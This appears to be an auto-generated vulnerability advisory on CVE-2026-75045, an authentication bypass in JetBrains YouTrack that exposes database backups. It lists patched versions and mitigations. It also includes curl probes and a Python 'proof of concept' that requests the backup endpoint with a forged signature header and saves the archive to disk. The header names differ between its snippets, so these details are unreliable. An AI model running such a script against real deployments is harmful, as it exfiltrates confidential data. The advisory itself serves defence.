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CVE-2026-75045 represents a critical authentication vulnerability in JetBrains YouTrack.
The underlying flaw allows unauthenticated remote attackers to bypass security checks.
It specifically affects the handling of database backup downloads via shared draft signatures.
Without requiring any valid user credentials or prior system privileges.
An attacker can leverage this alternate path to access internal database backups.
These backup files contain highly sensitive corporate data, credentials, and user information.
The vulnerability is classified under CWE-288 (Authentication Bypass Using an Alternate Path).
It achieves a maximum CVSS v3 base score of 9.1, rated as critical severity.
The weakness originates from insufficient verification of shared draft signatures during backup requests.
Attackers can craft malicious HTTP requests mimicking authorized administrative operations.
The application fails to properly validate whether the request originates from a trusted context.
Consequently, sensitive backup archives are exposed directly over the network interface.
This flaw affects multiple YouTrack version branches released prior to patches.
Specifically, versions before 2025.3.156085, 2026.1.13913, and 2026.2.18112 are vulnerable.
Threat actors can automate the extraction process using custom exploit scripts.
Public proof-of-concept repositories have emerged on platforms like GitHub.
Security researchers and red teams monitor these repositories for vulnerability analysis.
Exploitation is straightforward over network channels with low attack complexity.
No user interaction or social engineering is necessary to execute the attack.
Successful exploitation compromises the complete confidentiality and integrity of the deployment.
Organizations hosting YouTrack internally are at immediate risk if exposed to the internet.
Rapid patching is essential to prevent unauthorized database exfiltration.
Vendors have issued updated builds addressing the signature validation logic.
Security advisories recommend auditing access logs for suspicious backup download patterns.
Network segmentation and firewall rules provide temporary defense-in-depth measures.
Monitoring unusual HTTP requests targeting backup endpoints helps detect active probing.
The presence of public exploit code increases the urgency for immediate remediation.
System administrators must verify their exact YouTrack build numbers against vendor lists.
Upgrading to secured versions eliminates the shared draft signature flaw entirely.
Understanding this attack vector helps defenders protect enterprise project management infrastructure.
DailyCVE Form:
Platform: JetBrains YouTrack
Version: Prior to patches
Vulnerability: Authentication bypass flaw
Severity: Critical severity level
date: August 2026
Prediction: Already released patches
What Undercode Say
Analytics and verification commands:
Check YouTrack version curl -s https://your-youtrack-instance/api/config | grep version Test for backup download vulnerability endpoint curl -I -k "https://your-youtrack-instance/rest/backup/download?sig=test"
Python snippet demonstrating vulnerability analysis
import requests
url = "https://target-youtrack/rest/backup/download"
headers = {"X-Shared-Draft-Signature": "malformed_sig"}
response = requests.get(url, headers=headers, verify=False)
print(f"Status Code: {response.status_code}")
Exploit: (Educational Purposes!)
Conceptual Proof of Concept for CVE-2026-75045
For authorized security testing and educational analysis only.
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
target = "https://youtrack.example.com"
endpoint = f"{target}/rest/backup/download"
Crafting request with manipulated draft signature
headers = {
"User-Agent": "Mozilla/5.0",
"X-Draft-Signature": "bypass_signature_token"
}
response = requests.get(endpoint, headers=headers, verify=False)
if response.status_code == 200:
print("[+] Vulnerability confirmed: Backup download accessible.")
with open("backup_leak.zip", "wb") as f:
f.write(response.content)
else:
print("[-] Target is patched or endpoint unreachable.")
Protection: from this CVE
Upgrade JetBrains YouTrack to version 2025.3.156085, 2026.1.13913, 2026.2.18112, or later.
Restrict external network access to internal administration and backup endpoints using WAF or firewall rules.
Audit web server and application logs for unauthorized requests targeting backup or signature download paths.
Disable unnecessary administrative features exposed to unauthenticated public internet interfaces.
Impact:
Complete exposure of enterprise database backups containing sensitive project data, user accounts, and credentials.
Severe compromise of organizational confidentiality and intellectual property.
Potential secondary attacks leveraging leaked credentials across internal network segments.
Full system compromise depending on sensitive data recovered from backup archives.
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Sources:
Reported By: github.com
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